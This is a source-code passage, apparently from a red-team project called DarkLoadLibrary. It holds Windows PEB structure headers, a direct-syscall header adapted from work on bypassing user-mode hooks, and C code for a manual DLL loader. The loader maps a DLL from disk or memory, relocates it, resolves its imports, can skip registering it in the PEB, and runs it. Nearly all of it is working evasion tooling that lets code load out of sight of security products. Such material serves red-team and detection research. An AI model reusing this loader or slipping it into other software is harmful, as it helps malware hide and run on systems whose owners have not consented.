ImageSubsystem; 302 | ULONG ImageSubsystemMajorVersion; 303 | ULONG ImageSubsystemMinorVersion; 304 | ULONG_PTR ActiveProcessAffinityMask; 305 | GDI_HANDLE_BUFFER GdiHandleBuffer; 306 | PVOID PostProcessInitRoutine; 307 | 308 | PVOID TlsExpansionBitmap; 309 | ULONG TlsExpansionBitmapBits[32]; 310 | 311 | ULONG SessionId; 312 | 313 | ULARGE_INTEGER AppCompatFlags; 314 | ULARGE_INTEGER AppCompatFlagsUser; 315 | PVOID pShimData; 316 | PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA 317 | 318 | UNICODE_STRING CSDVersion; 319 | 320 | PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA 321 | PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP 322 | PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA 323 | PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP 324 | 325 | SIZE_T MinimumStackCommit; 326 | 327 | PVOID SparePointers[4]; // 19H1 (previously FlsCallback to FlsHighIndex) 328 | ULONG SpareUlongs[5]; // 19H1 329 | //PVOID* FlsCallback; 330 | //LIST_ENTRY FlsListHead; 331 | //PVOID FlsBitmap; 332 | //ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; 333 | //ULONG FlsHighIndex; 334 | 335 | PVOID WerRegistrationData; 336 | PVOID WerShipAssertPtr; 337 | PVOID pUnused; // pContextData 338 | PVOID pImageHeaderHash; 339 | union 340 | { 341 | ULONG TracingFlags; 342 | struct 343 | { 344 | ULONG HeapTracingEnabled : 1; 345 | ULONG CritSecTracingEnabled : 1; 346 | ULONG LibLoaderTracingEnabled : 1; 347 | ULONG SpareTracingBits : 29; 348 | }; 349 | }; 350 | ULONGLONG CsrServerReadOnlySharedMemoryBase; 351 | PRTL_CRITICAL_SECTION TppWorkerpListLock; 352 | LIST_ENTRY TppWorkerpList; 353 | PVOID WaitOnAddressHashTable[128]; 354 | PVOID TelemetryCoverageHeader; // REDSTONE3 355 | ULONG CloudFileFlags; 356 | ULONG CloudFileDiagFlags; // REDSTONE4 357 | CHAR PlaceholderCompatibilityMode; 358 | CHAR PlaceholderCompatibilityModeReserved[7]; 359 | struct _LEAP_SECOND_DATA *LeapSecondData; // REDSTONE5 360 | union 361 | { 362 | ULONG LeapSecondFlags; 363 | struct 364 | { 365 | ULONG SixtySecondEnabled : 1; 366 | ULONG Reserved : 31; 367 | }; 368 | }; 369 | ULONG NtGlobalFlag2; 370 | } PEB2, *PPEB2; 371 | 372 | typedef struct _RTL_RB_TREE { 373 | PRTL_BALANCED_NODE Root; 374 | PRTL_BALANCED_NODE Min; 375 | } RTL_RB_TREE, * PRTL_RB_TREE; -------------------------------------------------------------------------------- /DarkLoadLibrary/include/pebutils.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "pebstructs.h" 5 | #include "darkloadlibrary.h" 6 | 7 | #define FILL_STRING(string, buffer) \ 8 | string.Length = (USHORT)strlen(buffer); \ 9 | string.MaximumLength = string.Length; \ 10 | string.Buffer = buffer 11 | 12 | typedef NTSTATUS(WINAPI* LDRGETPROCADDRESS)(HMODULE, PANSI_STRING, WORD, PVOID*); 13 | typedef VOID(WINAPI* RTLRBINSERTNODEEX)(_In_ PRTL_RB_TREE Tree, _In_opt_ PRTL_BALANCED_NODE Parent, _In_ BOOLEAN Right, _Out_ PRTL_BALANCED_NODE Node); 14 | typedef VOID(NTAPI* RTLINITUNICODESTRING)(PUNICODE_STRING DestinationString, PCWSTR SourceString); 15 | typedef NTSTATUS(NTAPI* NTQUERYSYSTEMTIME)(PLARGE_INTEGER SystemTime); 16 | typedef NTSTATUS(NTAPI* RTLHASHUNICODESTRING)(UNICODE_STRING* String, BOOLEAN CaseInSensitive, ULONG HashAlgorithm, ULONG* HashValue); 17 | typedef SIZE_T(NTAPI* RTLCOMPAREMEMORY)(const VOID* Source1, const VOID* Source2, SIZE_T Length); 18 | typedef int(__cdecl* _WCSNICMP)(const wchar_t* _Str1, const wchar_t* _Str2, size_t _MaxCount); 19 | typedef int(__cdecl* STRCMP)(const char* _Str1, const char* _Str2); 20 | typedef int(WINAPI *MULTIBYTETOWIDECHAR)( 21 | UINT CodePage, 22 | DWORD dwFlags, 23 | LPCCH lpMultiByteStr, 24 | int cbMultiByte, 25 | LPWSTR lpWideCharStr, 26 | int cchWideChar 27 | ); 28 | typedef int(__cdecl* _WCSICMP)(const wchar_t* _Str1, const wchar_t* _Str2); 29 | 30 | #ifdef _WIN64 31 | #define PEB_OFFSET 0x60 32 | #define READ_MEMLOC __readgsqword 33 | #else 34 | #define PEB_OFFSET 0x30 35 | #define READ_MEMLOC __readfsdword 36 | #endif 37 | 38 | #pragma once 39 | #define RVA(type, base_addr, rva) (type)((ULONG_PTR) base_addr + rva) 40 | #define RtlInitializeListEntry(entry) ((entry)->Blink = (entry)->Flink = (entry)) 41 | 42 | #define LDRP_IMAGE_DLL 0x00000004 43 | #define LDRP_ENTRY_INSERTED 0x00008000 44 | #define LDRP_ENTRY_PROCESSED 0x00004000 45 | #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 46 | 47 | #define LDR_HASH_TABLE_ENTRIES 32 48 | 49 | NTSYSAPI NTSTATUS NTAPI RtlHashUnicodeString(__in PCUNICODE_STRING String, __in BOOLEAN CaseInSensitive, __in ULONG HashAlgorithm, __out PULONG HashValue); 50 | NTSYSAPI VOID NTAPI RtlRbInsertNodeEx(_In_ PRTL_RB_TREE Tree, _In_opt_ PRTL_BALANCED_NODE Parent, _In_ BOOLEAN Right, _Out_ PRTL_BALANCED_NODE Node); 51 | 52 | HMODULE IsModulePresent(LPCWSTR lpwName); 53 | HMODULE IsModulePresentA(char* Name); 54 | BOOL LinkModuleToPEB(PDARKMODULE pdModule); 55 | PVOID GetFunctionAddress(HMODULE hModule, char* ProcName); 56 | BOOL LocalLdrGetProcedureAddress(HMODULE hLibrary, PANSI_STRING ProcName, WORD Ordinal, PVOID* FunctionAddress); 57 | BOOL _LocalLdrGetProcedureAddress(HMODULE hLibrary, PANSI_STRING ProcName, WORD Ordinal, PVOID* FunctionAddress); -------------------------------------------------------------------------------- /DarkLoadLibrary/include/syscalls.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | #ifndef SW2_HEADER_H_ 7 | #define SW2_HEADER_H_ 8 | 9 | #include 10 | 11 | #define SW2_SEED 0x63191199 12 | #define SW2_ROL8(v) (v << 8 | v >> 24) 13 | #define SW2_ROR8(v) (v >> 8 | v << 24) 14 | #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v)) 15 | #define SW2_MAX_ENTRIES 500 16 | #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 17 | 18 | // Typedefs are prefixed to avoid pollution. 19 | 20 | typedef struct _SW2_SYSCALL_ENTRY 21 | { 22 | DWORD Hash; 23 | DWORD Address; 24 | } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY; 25 | 26 | typedef struct _SW2_SYSCALL_LIST 27 | { 28 | DWORD Count; 29 | SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES]; 30 | } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST; 31 | 32 | typedef struct _SW2_PEB_LDR_DATA { 33 | BYTE Reserved1[8]; 34 | PVOID Reserved2[3]; 35 | LIST_ENTRY InMemoryOrderModuleList; 36 | } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA; 37 | 38 | typedef struct _SW2_LDR_DATA_TABLE_ENTRY { 39 | PVOID Reserved1[2]; 40 | LIST_ENTRY InMemoryOrderLinks; 41 | PVOID Reserved2[2]; 42 | PVOID DllBase; 43 | } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY; 44 | 45 | typedef struct _SW2_PEB { 46 | BYTE Reserved1[2]; 47 | BYTE BeingDebugged; 48 | BYTE Reserved2[1]; 49 | PVOID Reserved3[2]; 50 | PSW2_PEB_LDR_DATA Ldr; 51 | } SW2_PEB, *PSW2_PEB; 52 | 53 | DWORD SW2_HashSyscall(PCSTR FunctionName); 54 | BOOL SW2_PopulateSyscallList(); 55 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash); 56 | 57 | EXTERN_C NTSTATUS NtProtectVirtualMemory( 58 | IN HANDLE ProcessHandle, 59 | IN OUT PVOID * BaseAddress, 60 | IN OUT PSIZE_T RegionSize, 61 | IN ULONG NewProtect, 62 | OUT PULONG OldProtect); 63 | 64 | EXTERN_C NTSTATUS NtAllocateVirtualMemory( 65 | IN HANDLE ProcessHandle, 66 | IN OUT PVOID * BaseAddress, 67 | IN ULONG ZeroBits, 68 | IN OUT PSIZE_T RegionSize, 69 | IN ULONG AllocationType, 70 | IN ULONG Protect); 71 | 72 | #endif 73 | -------------------------------------------------------------------------------- /DarkLoadLibrary/src/darkloadlibrary.c: -------------------------------------------------------------------------------- 1 | #include "darkloadlibrary.h" 2 | #include "ldrutils.h" 3 | 4 | SIZE_T WideStringLength(LPWSTR str) 5 | { 6 | SIZE_T len = 0; 7 | SIZE_T i = 0; 8 | 9 | while (str[i++]) 10 | ++len; 11 | 12 | return len; 13 | } 14 | 15 | BOOL WideStringCompare(LPWSTR lpwStr1, LPWSTR lpwStr2, SIZE_T cbMaxCount) 16 | { 17 | BOOL match = TRUE; 18 | 19 | for (SIZE_T i = 0; i < cbMaxCount; i++) 20 | { 21 | WCHAR a, b; 22 | a = lpwStr1[i]; 23 | b = lpwStr2[i]; 24 | if (a >= 'A' && a <= 'Z') 25 | a += 32; 26 | if (b >= 'A' && b <= 'Z') 27 | b += 32; 28 | if (a != b) 29 | { 30 | match = FALSE; 31 | break; 32 | } 33 | } 34 | 35 | return match; 36 | } 37 | 38 | BOOL ParseFileName( 39 | PDARKMODULE pdModule, 40 | LPWSTR lpwFileName 41 | ) 42 | { 43 | HEAPALLOC pHeapAlloc = (HEAPALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "HeapAlloc"); 44 | GETPROCESSHEAP pGetProcessHeap = (GETPROCESSHEAP)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "GetProcessHeap"); 45 | PATHFINDFILENAMEW pPathFindFileNameW = (PATHFINDFILENAMEW)GetFunctionAddress(IsModulePresent(L"Shlwapi.dll"), "PathFindFileNameW"); 46 | 47 | if (lpwFileName == NULL) 48 | { 49 | pdModule->ErrorMsg = L"Invalid filename"; 50 | return FALSE; 51 | } 52 | 53 | pdModule->LocalDLLName = lpwFileName; 54 | 55 | HANDLE hHeap = pGetProcessHeap(); 56 | if (!hHeap) 57 | { 58 | pdModule->ErrorMsg = L"Failed to find valid heap"; 59 | return FALSE; 60 | } 61 | 62 | pdModule->CrackedDLLName = (PWCHAR)pHeapAlloc( 63 | hHeap, 64 | HEAP_ZERO_MEMORY, 65 | MAX_PATH * 2 66 | ); 67 | 68 | if (!pdModule->CrackedDLLName) 69 | { 70 | pdModule->ErrorMsg = L"Failed to allocate memory"; 71 | return FALSE; 72 | } 73 | 74 | LPWSTR lpwFileNameLocation = pPathFindFileNameW(lpwFileName); 75 | 76 | /* 77 | Copy the length of the filename modulo sizeof pdModule->CrackedDLLName - 1 for null byte. 78 | 79 | TODO: 80 | Get a working wstrcpy implementation 81 | */ 82 | memcpy(pdModule->CrackedDLLName, lpwFileNameLocation, (WideStringLength(lpwFileNameLocation) % (MAX_PATH - 1)) * 2); 83 | 84 | return TRUE; 85 | } 86 | 87 | BOOL ReadFileToBuffer( 88 | PDARKMODULE pdModule 89 | ) 90 | { 91 | HEAPALLOC pHeapAlloc = (HEAPALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "HeapAlloc"); 92 | CREATEFILEW pCreateFileW = (CREATEFILEW)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "CreateFileW"); 93 | VIRTUALALLOC pVirtualAlloc = (VIRTUALALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "VirtualAlloc"); 94 | GETFILESIZE pGetFileSize = (GETFILESIZE)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "GetFileSize"); 95 | READFILE pReadFile = (READFILE)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "ReadFile"); 96 | CLOSEHANDLE pCloseHandle = (CLOSEHANDLE)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "CloseHandle"); 97 | 98 | HANDLE hFile = pCreateFileW( 99 | pdModule->LocalDLLName, 100 | GENERIC_READ, 101 | FILE_SHARE_READ | FILE_SHARE_WRITE, 102 | NULL, 103 | OPEN_EXISTING, 104 | 0, 105 | NULL 106 | ); 107 | 108 | if (hFile == INVALID_HANDLE_VALUE) 109 | { 110 | pdModule->ErrorMsg = L"Failed to open local DLL file"; 111 | return FALSE; 112 | } 113 | 114 | DWORD dwSize = pGetFileSize( 115 | hFile, 116 | NULL 117 | ); 118 | 119 | if (dwSize == INVALID_FILE_SIZE) 120 | { 121 | pdModule->ErrorMsg = L"Failed to get DLL file size"; 122 | pCloseHandle(hFile); 123 | return FALSE; 124 | } 125 | 126 | pdModule->pbDllData = pVirtualAlloc( 127 | NULL, 128 | dwSize, 129 | MEM_COMMIT | MEM_RESERVE, 130 | PAGE_READWRITE 131 | ); 132 | 133 | if (pdModule->pbDllData == NULL) 134 | { 135 | pdModule->ErrorMsg = L"Failed to allocate memory for DLL data"; 136 | pCloseHandle(hFile); 137 | return FALSE; 138 | } 139 | 140 | if (!pReadFile( 141 | hFile, 142 | pdModule->pbDllData, 143 | dwSize, 144 | &pdModule->dwDllDataLen, 145 | NULL)) 146 | { 147 | pdModule->ErrorMsg = L"Failed to read data from DLL file"; 148 | pCloseHandle(hFile); 149 | // TODO: need to Free buffer on error: e.g. pVirtualFree(pdModule->pbDllData); 150 | 151 | return FALSE; 152 | } 153 | 154 | if (!pCloseHandle(hFile)) 155 | { 156 | pdModule->ErrorMsg = L"Failed to close handle on DLL file"; 157 | return FALSE; 158 | } 159 | 160 | return TRUE; 161 | } 162 | 163 | PDARKMODULE DarkLoadLibrary( 164 | DWORD dwFlags, 165 | LPCWSTR lpwBuffer, 166 | LPVOID lpFileBuffer, 167 | DWORD dwLen, 168 | LPCWSTR lpwName 169 | ) 170 | { 171 | HEAPALLOC pHeapAlloc = (HEAPALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "HeapAlloc"); 172 | GETPROCESSHEAP pGetProcessHeap = (GETPROCESSHEAP)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "GetProcessHeap"); 173 | 174 | /* 175 | TODO: 176 | I would really love to stop using error messages that need this. 177 | All the other safe versions of wsprintfW are located in the CRT, 178 | which is an issue if there is no CRT in the process. 179 | 180 | For now let us hope nobody will pass a name larger than 500 bytes. :/ 181 | */ 182 | WSPRINTFW pwsprintfW = (WSPRINTFW)GetFunctionAddress(IsModulePresent(L"User32.dll"), "wsprintfW"); 183 | 184 | PDARKMODULE dModule = (DARKMODULE*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(DARKMODULE)); 185 | if (!dModule) 186 | return NULL; 187 | 188 | dModule->bSuccess = FALSE; 189 | dModule->bLinkedToPeb = TRUE; 190 | 191 | // get the DLL data into memory, whatever the format it's in 192 | switch (LOWORD(dwFlags)) 193 | { 194 | case LOAD_LOCAL_FILE: 195 | if (!ParseFileName(dModule, lpwBuffer) || !ReadFileToBuffer(dModule)) 196 | { 197 | goto Cleanup; 198 | } 199 | break; 200 | 201 | case LOAD_MEMORY: 202 | dModule->dwDllDataLen = dwLen; 203 | dModule->pbDllData = lpFileBuffer; 204 | 205 | /* 206 | This is probably a hack for the greater scheme but lol 207 | */ 208 | dModule->CrackedDLLName = lpwName; 209 | dModule->LocalDLLName = lpwName; 210 | 211 | if (lpwName == NULL) 212 | goto Cleanup; 213 | 214 | break; 215 | 216 | default: 217 | break; 218 | } 219 | 220 | if (dwFlags & NO_LINK) 221 | dModule->bLinkedToPeb = FALSE; 222 | 223 | // is there a module with the same name already loaded 224 | if (lpwName == NULL) 225 | { 226 | lpwName = dModule->CrackedDLLName; 227 | } 228 | 229 | HMODULE hModule = IsModulePresent(lpwName); 230 | 231 | if (hModule != NULL) 232 | { 233 | dModule->ModuleBase = (ULONG_PTR)hModule; 234 | dModule->bSuccess = TRUE; 235 | 236 | goto Cleanup; 237 | } 238 | 239 | // make sure the PE we are about to load is valid 240 | if (!IsValidPE(dModule->pbDllData)) 241 | { 242 | dModule->ErrorMsg = (wchar_t*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, 500); 243 | if (!dModule->ErrorMsg) 244 | goto Cleanup; 245 | 246 | pwsprintfW(dModule->ErrorMsg, TEXT("Data is an invalid PE: %s"), lpwName); 247 | goto Cleanup; 248 | } 249 | 250 | // map the sections into memory 251 | if (!MapSections(dModule)) 252 | { 253 | dModule->ErrorMsg = (wchar_t*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, 500); 254 | if (!dModule->ErrorMsg) 255 | goto Cleanup; 256 | 257 | pwsprintfW(dModule->ErrorMsg, TEXT("Failed to map sections: %s"), lpwName); 258 | goto Cleanup; 259 | } 260 | 261 | // handle the import tables 262 | if (!ResolveImports(dModule)) 263 | { 264 | dModule->ErrorMsg = (wchar_t*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, 500); 265 | if (!dModule->ErrorMsg) 266 | goto Cleanup; 267 | 268 | pwsprintfW(dModule->ErrorMsg, TEXT("Failed to resolve imports: %s"), lpwName); 269 | goto Cleanup; 270 | } 271 | 272 | // link the module to the PEB 273 | if (dModule->bLinkedToPeb) 274 | { 275 | if (!LinkModuleToPEB(dModule)) 276 | { 277 | dModule->ErrorMsg = (wchar_t*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, 500); 278 | if (!dModule->ErrorMsg) 279 | goto Cleanup; 280 | 281 | pwsprintfW(dModule->ErrorMsg, TEXT("Failed to link module to PEB: %s"), lpwName); 282 | goto Cleanup; 283 | } 284 | } 285 | 286 | // trigger tls callbacks, set permissions and call the entry point 287 | if (!BeginExecution(dModule)) 288 | { 289 | dModule->ErrorMsg = (wchar_t*)pHeapAlloc(pGetProcessHeap(), HEAP_ZERO_MEMORY, 500); 290 | if (!dModule->ErrorMsg) 291 | goto Cleanup; 292 | 293 | pwsprintfW(dModule->ErrorMsg, TEXT("Failed to execute: %s"), lpwName); 294 | goto Cleanup; 295 | } 296 | 297 | dModule->bSuccess = TRUE; 298 | 299 | goto Cleanup; 300 | 301 | Cleanup: 302 | return dModule; 303 | } 304 | 305 | BOOL ConcealLibrary( 306 | PDARKMODULE pdModule, 307 | BOOL bConceal 308 | ) 309 | { 310 | // TODO: reimplement this function, so it is better 311 | 312 | pdModule->ErrorMsg = L"Not implemented yet, sorry"; 313 | 314 | return FALSE; 315 | } 316 | -------------------------------------------------------------------------------- /DarkLoadLibrary/src/ldrutils.c: -------------------------------------------------------------------------------- 1 | #include "ldrutils.h" 2 | #if _M_X64 3 | #include "syscalls.h" 4 | #endif 5 | 6 | BOOL IsValidPE( 7 | PBYTE pbData 8 | ) 9 | { 10 | PIMAGE_NT_HEADERS pNtHeaders; 11 | 12 | pNtHeaders = RVA( 13 | PIMAGE_NT_HEADERS, 14 | pbData, 15 | ((PIMAGE_DOS_HEADER)pbData)->e_lfanew 16 | ); 17 | 18 | if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) 19 | { 20 | return FALSE; 21 | } 22 | 23 | return TRUE; 24 | } 25 | 26 | BOOL MapSections( 27 | PDARKMODULE pdModule 28 | ) 29 | { 30 | PIMAGE_NT_HEADERS pNtHeaders; 31 | PIMAGE_DATA_DIRECTORY pDataDir; 32 | PIMAGE_BASE_RELOCATION pRelocation; 33 | PIMAGE_SECTION_HEADER pSectionHeader; 34 | 35 | VIRTUALALLOC pVirtualAlloc = (VIRTUALALLOC)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "VirtualAlloc"); 36 | 37 | pNtHeaders = RVA( 38 | PIMAGE_NT_HEADERS, 39 | pdModule->pbDllData, 40 | ((PIMAGE_DOS_HEADER)pdModule->pbDllData)->e_lfanew 41 | ); 42 | 43 | // try get prefered address 44 | #if _M_X64 45 | pdModule->ModuleBase = pNtHeaders->OptionalHeader.ImageBase; 46 | SIZE_T RegionSize = pNtHeaders->OptionalHeader.SizeOfImage; 47 | NTSTATUS status = NtAllocateVirtualMemory( 48 | (HANDLE)-1, 49 | (PVOID)&pdModule->ModuleBase, 50 | 0, 51 | &RegionSize, 52 | MEM_RESERVE | MEM_COMMIT, 53 | PAGE_READWRITE 54 | ); 55 | if (!NT_SUCCESS(status) || pdModule->ModuleBase != pNtHeaders->OptionalHeader.ImageBase) 56 | { 57 | pdModule->ModuleBase = 0; 58 | RegionSize = pNtHeaders->OptionalHeader.SizeOfImage; 59 | status = NtAllocateVirtualMemory( 60 | (HANDLE)-1, 61 | (PVOID)&pdModule->ModuleBase, 62 | 0, 63 | &RegionSize, 64 | MEM_RESERVE | MEM_COMMIT, 65 | PAGE_READWRITE 66 | ); 67 | } 68 | if (!NT_SUCCESS(status)) 69 | { 70 | return FALSE; 71 | } 72 | #else 73 | pdModule->ModuleBase = (ULONG_PTR)pVirtualAlloc( 74 | (LPVOID)(pNtHeaders->OptionalHeader.ImageBase), 75 | (SIZE_T)pNtHeaders->OptionalHeader.SizeOfImage, 76 | MEM_RESERVE | MEM_COMMIT, 77 | PAGE_READWRITE 78 | ); 79 | 80 | if (!pdModule->ModuleBase) 81 | { 82 | pdModule->ModuleBase = (ULONG_PTR)pVirtualAlloc( 83 | 0, 84 | (SIZE_T)pNtHeaders->OptionalHeader.SizeOfImage, 85 | MEM_RESERVE | MEM_COMMIT, 86 | PAGE_READWRITE 87 | ); 88 | } 89 | 90 | if (!pdModule->ModuleBase) 91 | { 92 | return FALSE; 93 | } 94 | #endif 95 | // copy across the headers 96 | for (DWORD i = 0; i < pNtHeaders->OptionalHeader.SizeOfHeaders; i++) 97 | { 98 | ((PBYTE)pdModule->ModuleBase)[i] = ((PBYTE)pdModule->pbDllData)[i]; 99 | } 100 | 101 | // copy across the sections 102 | pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); 103 | 104 | for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++) 105 | { 106 | for (DWORD j = 0; j < pSectionHeader->SizeOfRawData; j++) 107 | { 108 | ((PBYTE)(pdModule->ModuleBase + pSectionHeader->VirtualAddress))[j] = ((PBYTE)(pdModule->pbDllData + pSectionHeader->PointerToRawData))[j]; 109 | } 110 | } 111 | 112 | // if we havent got our prefered base address, relocate 113 | ULONG_PTR pulBaseOffset = pdModule->ModuleBase - pNtHeaders->OptionalHeader.ImageBase; 114 | pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 115 | 116 | if ((pdModule->ModuleBase - pNtHeaders->OptionalHeader.ImageBase) && pDataDir) 117 | { 118 | pRelocation = RVA( 119 | PIMAGE_BASE_RELOCATION, 120 | pdModule->ModuleBase, 121 | pDataDir->VirtualAddress 122 | ); 123 | 124 | do 125 | { 126 | PIMAGE_RELOC pRelocList = (PIMAGE_RELOC)(pRelocation + 1); 127 | 128 | do 129 | { 130 | if (pRelocList->type == IMAGE_REL_BASED_DIR64) 131 | { 132 | *(PULONG_PTR)((PBYTE)pdModule->ModuleBase + pRelocation->VirtualAddress + pRelocList->offset) += pulBaseOffset; 133 | } 134 | else if (pRelocList->type == IMAGE_REL_BASED_HIGHLOW) 135 | { 136 | *(PULONG_PTR)((PBYTE)pdModule->ModuleBase + pRelocation->VirtualAddress + pRelocList->offset) += (DWORD)pulBaseOffset; 137 | } 138 | else if (pRelocList->type == IMAGE_REL_BASED_HIGH) 139 | { 140 | *(PULONG_PTR)((PBYTE)pdModule->ModuleBase + pRelocation->VirtualAddress + pRelocList->offset) += HIWORD(pulBaseOffset); 141 | } 142 | else if (pRelocList->type == IMAGE_REL_BASED_LOW) 143 | { 144 | *(PULONG_PTR)((PBYTE)pdModule->ModuleBase + pRelocation->VirtualAddress + pRelocList->offset) += LOWORD(pulBaseOffset); 145 | } 146 | 147 | pRelocList++; 148 | 149 | } while ((PBYTE)pRelocList != (PBYTE)pRelocation + pRelocation->SizeOfBlock); 150 | 151 | pRelocation = (PIMAGE_BASE_RELOCATION)pRelocList; 152 | 153 | } while (pRelocation->VirtualAddress); 154 | } 155 | pNtHeaders->OptionalHeader.ImageBase = pdModule->ModuleBase; // set the prefered base to the real base 156 | 157 | return TRUE; 158 | } 159 | 160 | BOOL ResolveImports( 161 | PDARKMODULE pdModule 162 | ) 163 | { 164 | PIMAGE_NT_HEADERS pNtHeaders; 165 | PIMAGE_DATA_DIRECTORY pDataDir; 166 | PIMAGE_IMPORT_BY_NAME pImportByName; 167 | PIMAGE_IMPORT_DESCRIPTOR pImportDesc; 168 | PIMAGE_DELAYLOAD_DESCRIPTOR pDelayDesc; 169 | PIMAGE_THUNK_DATA pFirstThunk, pOrigFirstThunk; 170 | BOOL ok; 171 | 172 | LOADLIBRARYA pLoadLibraryA = (LOADLIBRARYA)GetFunctionAddress(IsModulePresent(L"Kernel32.dll"), "LoadLibraryA"); 173 | 174 | STRING aString = { 0 }; 175 | 176 | pNtHeaders = RVA( 177 | PIMAGE_NT_HEADERS, 178 | pdModule->pbDllData, 179 | ((PIMAGE_DOS_HEADER)pdModule->pbDllData)->e_lfanew 180 | ); 181 | 182 | pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 183 | 184 | // handle the import table 185 | if (pDataDir->Size) 186 | { 187 | pImportDesc = RVA( 188 | PIMAGE_IMPORT_DESCRIPTOR, 189 | pdModule->ModuleBase, 190 | pDataDir->VirtualAddress 191 | ); 192 | 193 | DWORD dwImportCount = 0; 194 | 195 | for (; pImportDesc->Name; pImportDesc++) 196 | { 197 | dwImportCount++; 198 | } 199 | 200 | pImportDesc = RVA( 201 | PIMAGE_IMPORT_DESCRIPTOR, 202 | pdModule->ModuleBase, 203 | pDataDir->VirtualAddress 204 | ); 205 | 206 | for (; pImportDesc->Name; pImportDesc++) 207 | { 208 | // use LoadLibraryA for the time being. 209 | // make this recursive in the future. 210 | HMODULE hLibrary = IsModulePresentA( 211 | (char*)(pdModule->ModuleBase + pImportDesc->Name) 212 | ); 213 | if (hLibrary == NULL) 214 | { 215 | hLibrary = pLoadLibraryA( 216 | (LPSTR)(pdModule->ModuleBase + pImportDesc->Name) 217 | ); 218 | } 219 | 220 | pFirstThunk = RVA( 221 | PIMAGE_THUNK_DATA, 222 | pdModule->ModuleBase, 223 | pImportDesc->FirstThunk 224 | ); 225 | 226 | pOrigFirstThunk = RVA( 227 | PIMAGE_THUNK_DATA, 228 | pdModule->ModuleBase, 229 | pImportDesc->OriginalFirstThunk 230 | ); 231 | 232 | for (; pOrigFirstThunk->u1.Function; pFirstThunk++, pOrigFirstThunk++) 233 | { 234 | if (IMAGE_SNAP_BY_ORDINAL(pOrigFirstThunk->u1.Ordinal)) 235 | { 236 | ok = LocalLdrGetProcedureAddress( 237 | hLibrary, 238 | NULL, 239 | (WORD)pOrigFirstThunk->u1.Ordinal, 240 | (PVOID*)&(pFirstThunk->u1.Function) 241 | ); 242 | if (!ok) 243 | return FALSE; 244 | } 245 | else 246 | { 247 | pImportByName = RVA( 248 | PIMAGE_IMPORT_BY_NAME, 249 | pdModule->ModuleBase, 250 | pOrigFirstThunk->u1.AddressOfData 251 | ); 252 | 253 | FILL_STRING( 254 | aString, 255 | pImportByName->Name 256 | ); 257 | ok = LocalLdrGetProcedureAddress( 258 | hLibrary, 259 | &aString, 260 | 0, 261 | (PVOID*)&(pFirstThunk->u1.Function) 262 | ); 263 | if (!ok) 264 | return FALSE; 265 | } 266 | } 267 | } 268 | } 269 | 270 | // handle the delayed import table 271 | pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT]; 272 | 273 | if (pDataDir->Size) 274 | { 275 | pDelayDesc = RVA( 276 | PIMAGE_DELAYLOAD_DESCRIPTOR, 277 | pdModule->ModuleBase, 278 | pDataDir->VirtualAddress 279 | ); 280 | 281 | for (; pDelayDesc->DllNameRVA; pDelayDesc++) 282 | { 283 | // use LoadLibraryA for the time being. 284 | // make this recursive in the future. 285 | HMODULE hLibrary = IsModulePresentA( 286 | (char*)(pdModule->ModuleBase + pDelayDesc->DllNameRVA) 287 | ); 288 | if (hLibrary == NULL) 289 | { 290 | hLibrary = pLoadLibraryA( 291 | (LPSTR)(pdModule->ModuleBase + pDelayDesc->DllNameRVA) 292 | ); 293 | } 294 | 295 | pFirstThunk = RVA( 296 | PIMAGE_THUNK_DATA, 297 | pdModule->ModuleBase, 298 | pDelayDesc->ImportAddressTableRVA 299 | ); 300 | 301 | pOrigFirstThunk = RVA( 302 | PIMAGE_THUNK_DATA, 303 | pdModule->ModuleBase, 304 | pDelayDesc->ImportNameTableRVA 305 | ); 306 | 307 | for (; pOrigFirstThunk->u1.Function; pFirstThunk++, pOrigFirstThunk++) 308 | { 309 | if 